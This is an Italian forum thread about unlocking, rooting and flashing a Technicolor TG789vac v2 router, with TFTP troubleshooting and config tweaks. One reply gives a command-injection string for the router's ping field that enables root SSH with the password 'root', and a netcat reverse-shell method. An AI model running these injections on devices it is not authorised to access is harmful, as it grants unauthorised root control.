[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding

  • 2777 Risposte
  • 293382 Visite

0 Utenti e 10 Visitatori stanno visualizzando questo topic.

Offline Crist

  • Membro Giovane
  • **
  • 78
Re:[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding
« Risposta #30 il: 15 Dicembre 2017, 17:32 »
Salve a tutti.

Abbandonato lo smanettamento AGPF-per-videosorveglianza (qui nel forum), volevo dedicare la mia attenzione su un altro 789 vac2 AGTOT in mio possesso (il primo è quello che uso per rete e internet).
Mi solleticava l'idea di averlo operativo al 100% con un suo fw pulito e pienamente configurabile (QoS primo fra tutti).
L'ho sbloccato come da vostra eccellente guida ma non riesco a sostituire il fw seguendo i passaggi della guida per l'iinet (io in realtà voglio mettere il Thomson stock).
Ho seguito i pdf allegati e un'altra variante trovata sul web ma non riesce a immettere alcun .bin
A dirla tutta in questo caso (non mi uccidete...) ma la guida in oggetto non è che sia user-friendly come quella per lo sbloccaggio; o vengono date molte cose per scontato, oppure ci sono molte lacune sull'uso del TFTP e del telnet (ho usato sia software switchover che software upgrade).

Non che io sia un esperto ma secondo me non è sia chiarissimo il tutto.
Grazie in anticipo per ogni risposta.

Offline freddy0h

  • Membro Anziano
  • ***
  • 173
  • asd
Re:[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding
« Risposta #31 il: 15 Dicembre 2017, 17:44 »
Allora, come prima cosa ti dico che iinet per ora non è completamente pulito , ma devono ancora rilasciare i sorgenti. Come seconda cosa ti dico che per ora non esiste nessuna gui che sia come quella di default di technicolor ma quella di iinet è praticamente uguale.
il firmware non lo flashi dal modem ma serve un computer esterno collegato in LAN al modem.
Nota bene: molti termini possono essere ricercati su google per apprendere a pieno il significato
« Ultima modifica: 15 Dicembre 2017, 17:51 da freddy0h »
asd.
TG789vac2 - root 17.3
Tim HUB - root 17.3
AGTEF - root 17.3

Offline Crist

  • Membro Giovane
  • **
  • 78
Re:[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding
« Risposta #32 il: 15 Dicembre 2017, 19:58 »
No aspe' non sono così inesperto... ::) :D

Volevo dire che provando le varie combinazioni di settaggi in TFTP trovati in rete (compresi quelli vostri) non flasha niente...

- Ovviamente ho collegato il pc direttamente al modem in IP statico (lo è già);
- ho effettuato i settaggi su TFTP (mantenendo gli IP che avevo già nel modem e nel pc). Le altre voci come vanno messe esattamente come nelle foto?
- ho letto anche l'help del TFTP;
- ho mandato in bootp il modem (con entrambi i comandi da telnet);
- ho abilitato il TFTP-C dal config del modem (serve a qualcosa visto che non è stato mai menzionato?);
-  ho avviato il bootp sia prima che dopo aver avviato TFTP sul pc;
- ho puntato dalla dir di TFTP il fw .bin stock Thomson (o devo usare l'.rbi?);
- varie ed eventuali  :D

Magari a voi viene in mente qualcosa che a me sfugge...  :headbang:

Offline freddy0h

  • Membro Anziano
  • ***
  • 173
  • asd
Re:[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding
« Risposta #33 il: 15 Dicembre 2017, 20:12 »
No aspe' non sono così inesperto... ::) :D

Volevo dire che provando le varie combinazioni di settaggi in TFTP trovati in rete (compresi quelli vostri) non flasha niente...

- Ovviamente ho collegato il pc direttamente al modem in IP statico (lo è già);
- ho effettuato i settaggi su TFTP (mantenendo gli IP che avevo già nel modem e nel pc). Le altre voci come vanno messe esattamente come nelle foto?
- ho letto anche l'help del TFTP;
- ho mandato in bootp il modem (con entrambi i comandi da telnet);
- ho abilitato il TFTP-C dal config del modem (serve a qualcosa visto che non è stato mai menzionato?);
-  ho avviato il bootp sia prima che dopo aver avviato TFTP sul pc;
- ho puntato dalla dir di TFTP il fw .bin stock Thomson (o devo usare l'.rbi?);
- varie ed eventuali  :D

Magari a voi viene in mente qualcosa che a me sfugge...  :headbang:
per fortuna che non andava il .bin sennò brickavi tutto e lo facevi diventare una scatola da 50euro circa.
devi flashare il .rbi di iinet, prova a flasharlo senza fare lo switchover e dimmi se ti funziona, se ti ritrovi ancora il firmware tim accedi in telnet e fai lo switchover da software.
vedi se il flash è stato eseguito con successo se mentre avviene il trasferimento ti mostra un caricamento (in bootp).
il file .rbi deve stare nella cartella di tftpd e deve essere inserito il nome di esso nelle impostazioni di tftpd.
asd.
TG789vac2 - root 17.3
Tim HUB - root 17.3
AGTEF - root 17.3

Offline Crist

  • Membro Giovane
  • **
  • 78
Re:[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding
« Risposta #34 il: 15 Dicembre 2017, 21:34 »
Intanto grazie!

Vista la serata uggiosa che manco Frankenstin, ne approfitto per fare un po di danni!

Proverò quanto prima e tifarò sapere. :nod:

Offline ^NiCo^

  • Global Moderator
  • Esperto
  • *****
  • 1241
    • piedpiper
Re:[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding
« Risposta #35 il: 16 Dicembre 2017, 03:23 »
1. Inserire nel campo Ping della sezione Diagnostica del router la seguente stringa e cliccare PING

Codice: [Seleziona]
:::::::;uci set [email protected][0].PasswordAuth='on';uci set [email protected][0].RootPasswordAuth='on';uci set [email protected][0].enable='1';uci commit;echo -e "root\nroot" | passwd;/etc/init.d/dropbear restart

La vecchia guida è contenuta nello spoiler qui sotto.

Spoiler: mostra
Grazie a @ciciusx per la stesura della guida per il tg789 tiscali da cui ho scopiazzato la struttura e altro :)

Su windows è necessario installare netcat e si può trovare qui
https://eternallybored.org/misc/netcat/
o qui
https://nmap.org/ncat/

Passaggi:

Apri prompt comandi/shell e
 
1) Mettere in ascolto netcat sul computer con la sintassi

Codice: [Seleziona]
nc -lvvp 1337
2) Inserire nel campo Ping della sezione Diagnostica del router la seguente stringa :

Codice: [Seleziona]
:::::::;nc a.b.c.d 1337 -e /bin/sha.b.c.d = IP assegnato al computer dove netcat è in ascolto

3) Lanciare la richiesta di Ping ed attendere qualche secondo che netcat segnali l'avvenuta connessione

4) Da shell netcat lanciare in sequenza i seguenti comandi:

(N.B. la connessione via netcat non prevede stdout a video, pertanto è normale che non appaia l'esito dei comandi imputati!)

Codice: [Seleziona]
passwd rootVerrà chiesto di inserire una password per l' utente root, sarà poi possibile modificarla in futuro

Codice: [Seleziona]
sed -i 's/0/1/' /etc/config/dropbear
sed -i 's/off/on/' /etc/config/dropbear
Per modificare la config di dropbear e abilitare il login

Codice: [Seleziona]
/etc/init.d/dropbear restartPer riavviare dropbear con le nuove impostazioni

Ora sarà possibile accedere alla shell del router tramite SSH porta 22 credenziali root/vostrapassword
(questa procedura non è farina del mio sacco e ringrazio i forumisti che hanno contribuito alla sua stesura)
« Ultima modifica: 08 Gennaio 2018, 22:45 da ^NiCo^ »

Offline Crist

  • Membro Giovane
  • **
  • 78
Re:[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding
« Risposta #36 il: 16 Dicembre 2017, 14:38 »
Allora ieri sera ho provato (poco perché alla fine quando si hanno figli i piani che fai rimangono saldamente solo nella tua testa... :-\ :'() con TFTP dopo aver ricontrollato varie impostazioni generali della mia postazione: ed effettivamente uno dei tre settaggi antivirus/malware/firewall era ancora attivo, nonostante mi ricordassi di averli disattivati.

Provvedendo a disattivarlo, sono poi riuscito a stabilire una connessione via TFTP con il modem (previo bootp tenendo la clip premuta nel buchino fino al lampeggiamento della spia arancio e verde) ma senza esito.

Il modem aggancia subito il file e compaiono in sequenza tre schermate piccole pop-up uguali (prima una poi la seconda, sparisce la prima e compare la terza e così via) che indicano il trasferimento del file; durano ognuna pochi secondi, tentano di uplodare il file ma poi nulla nel senso che ad ogni tentativo/finestrella il modem si autoriavvia in bootp, senza fine.

Troncando il procedimento (approfittando della piccola fase di riposo prima del bootp di ogni ciclo) ho aspettato di vedere come reagiva il modem e lui evidentemente ha ricaricato l'immagine dal secondo bank (tant'è che si ferma a quella di fabbrica AGTOT 1.0.4), perfettamente funzionante.

Allego qui il log di TFTP:

Codice: [Seleziona]
Rcvd BootP Msg for IP 0.0.0.0, Mac 10:13:31:6D:85:3C [16/12 00:28:49.066]
DHCP: proposed address 192.168.1.1 [16/12 00:28:49.068]
Connection received from 192.168.1.1 on port 8192 [16/12 00:28:51.086]
Read request for file <MST TG789vac 16.2.7064.2201002.rbi>. Mode octet [16/12 00:28:51.086]
Using local port 60661 [16/12 00:28:51.086]
Rcvd BootP Msg for IP 0.0.0.0, Mac 10:13:31:6D:85:3C [16/12 00:28:55.635]
DHCP: proposed address 192.168.1.1 [16/12 00:28:55.635]
Connection received from 192.168.1.1 on port 8192 [16/12 00:28:57.656]
Read request for file <MST TG789vac 16.2.7064.2201002.rbi>. Mode octet [16/12 00:28:57.656]
Using local port 63319 [16/12 00:28:57.657]
Message received on an unbound interface (IP 169.254.100.153) [16/12 00:28:58.697]
Rcvd BootP Msg for IP 0.0.0.0, Mac 10:13:31:6D:85:3C [16/12 00:29:02.477]
DHCP: proposed address 192.168.1.1 [16/12 00:29:02.478]
Connection received from 192.168.1.1 on port 8192 [16/12 00:29:04.500]
Read request for file <MST TG789vac 16.2.7064.2201002.rbi>. Mode octet [16/12 00:29:04.501]
Using local port 61868 [16/12 00:29:04.501]
TIMEOUT waiting for Ack block #3  [16/12 00:29:06.096]
Rcvd BootP Msg for IP 0.0.0.0, Mac 10:13:31:6D:85:3C [16/12 00:29:09.374]
DHCP: proposed address 192.168.1.1 [16/12 00:29:09.375]
Connection received from 192.168.1.1 on port 8192 [16/12 00:29:11.395]
Read request for file <MST TG789vac 16.2.7064.2201002.rbi>. Mode octet [16/12 00:29:11.395]
Using local port 60453 [16/12 00:29:11.395]
TIMEOUT waiting for Ack block #3  [16/12 00:29:12.666]
Rcvd BootP Msg for IP 0.0.0.0, Mac 10:13:31:6D:85:3C [16/12 00:29:16.219]
DHCP: proposed address 192.168.1.1 [16/12 00:29:16.219]
Connection received from 192.168.1.1 on port 8192 [16/12 00:29:18.237]
Read request for file <MST TG789vac 16.2.7064.2201002.rbi>. Mode octet [16/12 00:29:18.238]
Using local port 63510 [16/12 00:29:18.238]
TIMEOUT waiting for Ack block #3  [16/12 00:29:19.509]

Ovviamente è stato troncato perchè era uno pseudo loop.

Queste le schermate di setting del mio TFTP:

 

Offline Crist

  • Membro Giovane
  • **
  • 78
Re:[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding
« Risposta #37 il: 16 Dicembre 2017, 14:41 »
@^NiCo^

Grazie per il supporto ma di preciso come mi è utile questa procedura per uplodare il fw?

Offline freddy0h

  • Membro Anziano
  • ***
  • 173
  • asd
Re:[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding
« Risposta #38 il: 16 Dicembre 2017, 15:57 »
Allora ieri sera ho provato (poco perché alla fine quando si hanno figli i piani che fai rimangono saldamente solo nella tua testa... :-\ :'() con TFTP dopo aver ricontrollato varie impostazioni generali della mia postazione: ed effettivamente uno dei tre settaggi antivirus/malware/firewall era ancora attivo, nonostante mi ricordassi di averli disattivati.

Provvedendo a disattivarlo, sono poi riuscito a stabilire una connessione via TFTP con il modem (previo bootp tenendo la clip premuta nel buchino fino al lampeggiamento della spia arancio e verde) ma senza esito.

Il modem aggancia subito il file e compaiono in sequenza tre schermate piccole pop-up uguali (prima una poi la seconda, sparisce la prima e compare la terza e così via) che indicano il trasferimento del file; durano ognuna pochi secondi, tentano di uplodare il file ma poi nulla nel senso che ad ogni tentativo/finestrella il modem si autoriavvia in bootp, senza fine.

Troncando il procedimento (approfittando della piccola fase di riposo prima del bootp di ogni ciclo) ho aspettato di vedere come reagiva il modem e lui evidentemente ha ricaricato l'immagine dal secondo bank (tant'è che si ferma a quella di fabbrica AGTOT 1.0.4), perfettamente funzionante.

Allego qui il log di TFTP:

Codice: [Seleziona]
Rcvd BootP Msg for IP 0.0.0.0, Mac 10:13:31:6D:85:3C [16/12 00:28:49.066]
DHCP: proposed address 192.168.1.1 [16/12 00:28:49.068]
Connection received from 192.168.1.1 on port 8192 [16/12 00:28:51.086]
Read request for file <MST TG789vac 16.2.7064.2201002.rbi>. Mode octet [16/12 00:28:51.086]
Using local port 60661 [16/12 00:28:51.086]
Rcvd BootP Msg for IP 0.0.0.0, Mac 10:13:31:6D:85:3C [16/12 00:28:55.635]
DHCP: proposed address 192.168.1.1 [16/12 00:28:55.635]
Connection received from 192.168.1.1 on port 8192 [16/12 00:28:57.656]
Read request for file <MST TG789vac 16.2.7064.2201002.rbi>. Mode octet [16/12 00:28:57.656]
Using local port 63319 [16/12 00:28:57.657]
Message received on an unbound interface (IP 169.254.100.153) [16/12 00:28:58.697]
Rcvd BootP Msg for IP 0.0.0.0, Mac 10:13:31:6D:85:3C [16/12 00:29:02.477]
DHCP: proposed address 192.168.1.1 [16/12 00:29:02.478]
Connection received from 192.168.1.1 on port 8192 [16/12 00:29:04.500]
Read request for file <MST TG789vac 16.2.7064.2201002.rbi>. Mode octet [16/12 00:29:04.501]
Using local port 61868 [16/12 00:29:04.501]
TIMEOUT waiting for Ack block #3  [16/12 00:29:06.096]
Rcvd BootP Msg for IP 0.0.0.0, Mac 10:13:31:6D:85:3C [16/12 00:29:09.374]
DHCP: proposed address 192.168.1.1 [16/12 00:29:09.375]
Connection received from 192.168.1.1 on port 8192 [16/12 00:29:11.395]
Read request for file <MST TG789vac 16.2.7064.2201002.rbi>. Mode octet [16/12 00:29:11.395]
Using local port 60453 [16/12 00:29:11.395]
TIMEOUT waiting for Ack block #3  [16/12 00:29:12.666]
Rcvd BootP Msg for IP 0.0.0.0, Mac 10:13:31:6D:85:3C [16/12 00:29:16.219]
DHCP: proposed address 192.168.1.1 [16/12 00:29:16.219]
Connection received from 192.168.1.1 on port 8192 [16/12 00:29:18.237]
Read request for file <MST TG789vac 16.2.7064.2201002.rbi>. Mode octet [16/12 00:29:18.238]
Using local port 63510 [16/12 00:29:18.238]
TIMEOUT waiting for Ack block #3  [16/12 00:29:19.509]

Ovviamente è stato troncato perchè era uno pseudo loop.

Queste le schermate di setting del mio TFTP:

 
Secondo me non trova il file, il file di iinet sta nella directory di tftpd? il nome lo hai messo nelle impostazioni di tftpd corretto ?
@^NiCo^ , ho fatto la GUI funzionante uguale a quella technicolor per iinet, ora la uploado
asd.
TG789vac2 - root 17.3
Tim HUB - root 17.3
AGTEF - root 17.3

Offline freddy0h

  • Membro Anziano
  • ***
  • 173
  • asd
Re:[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding
« Risposta #39 il: 16 Dicembre 2017, 16:08 »
« Ultima modifica: 16 Dicembre 2017, 22:14 da freddy0h »
asd.
TG789vac2 - root 17.3
Tim HUB - root 17.3
AGTEF - root 17.3

Offline ^NiCo^

  • Global Moderator
  • Esperto
  • *****
  • 1241
    • piedpiper
Re:[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding
« Risposta #40 il: 16 Dicembre 2017, 20:13 »
@Crist ma sei sicuro che stai cercando di flashare un fw compatibile con il vac v2 ? (sei consapevole che se il fw non è compatibile il modem diventa un fermacarte  ?) Si legge che và in timeout dopo ogni richiesta del file, hai provato a staccare il firewall di windows ?

@freddy0h cosa hai cambiato a parte i colori e l' immagine in alto a sinistra ?

Offline freddy0h

  • Membro Anziano
  • ***
  • 173
  • asd
Re:[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding
« Risposta #41 il: 16 Dicembre 2017, 22:14 »
@Crist ma sei sicuro che stai cercando di flashare un fw compatibile con il vac v2 ? (sei consapevole che se il fw non è compatibile il modem diventa un fermacarte  ?) Si legge che và in timeout dopo ogni richiesta del file, hai provato a staccare il firewall di windows ?

@freddy0h cosa hai cambiato a parte i colori e l' immagine in alto a sinistra ?
apparte css&&img&&due robette, ora sto lavorando per trasformare la wan in lan. l'interfaccia arancione di iinet non potevo proprio vederla ahshsaashh
asd.
TG789vac2 - root 17.3
Tim HUB - root 17.3
AGTEF - root 17.3

Offline freddy0h

  • Membro Anziano
  • ***
  • 173
  • asd
Re:[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding
« Risposta #42 il: 16 Dicembre 2017, 22:37 »
convertire la porta wan ethernet in porta lan:
In /usr/lib/lua/wansensing/scripthelpers.lua:

Trovare la funzione:
--- Checks if a l2 device has carrier
-- @param l2intf the interface name (netdevice interface name)
-- @return {boolean} whether the given interface has carrier or not
M.l2HasCarrier = function(l2intf)
    local status, carrier = pcall(run_checkLinkState,l2intf)
    if l2intf == 'eth4' then
       return false
    end
    if status and carrier == 'up' then
       return true
    else
       return false
    end
end
eseguire:
 uci delete ethernet.eth4.wan
uci delete [email protected][0]
uci delete [email protected][3].ifname='eth4'
uci delete [email protected][7].ifname='eth4'
uci delete [email protected][11].ifname='eth4'
uci set network.lan.ifname='eth0 eth1 eth2 eth3 eth4'
uci commit
asd.
TG789vac2 - root 17.3
Tim HUB - root 17.3
AGTEF - root 17.3

Offline Crist

  • Membro Giovane
  • **
  • 78
Re:[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding
« Risposta #43 il: 17 Dicembre 2017, 20:01 »
OK come avete pronosticato ho usato voi usavo un fw per il vac e non vacv2: ergo non fittava e andava in loop.

Usato l'ultimo iinet è riuscito ad inizializzarlo e non mi resta che entrarci e smanettarci (tempo permettendo).

Per ora grazie.  :clap:

Offline Crist

  • Membro Giovane
  • **
  • 78
Re:[GUIDA] TG789vac v2 iiNET/UNO Flash, Sblocco e Modding
« Risposta #44 il: 17 Dicembre 2017, 21:37 »
OK entrato e shell SSH abilitata: ora provo a impostare il VOIP TIM